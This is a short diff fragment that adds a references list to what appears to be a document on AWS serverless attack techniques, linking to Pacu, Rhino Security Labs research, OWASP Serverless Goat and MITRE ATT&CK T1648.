+
## References
|
|
270
|
+
|
|
271
|
+
- Pacu (AWS exploitation): https://github.com/RhinoSecurityLabs/pacu
|
|
272
|
+
- Lambda security research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
|
|
273
|
+
- Serverless Goat (lab): https://github.com/OWASP/Serverless-Goat
|
|
274
|
+
- MITRE T1648: https://attack.mitre.org/techniques/T1648/
|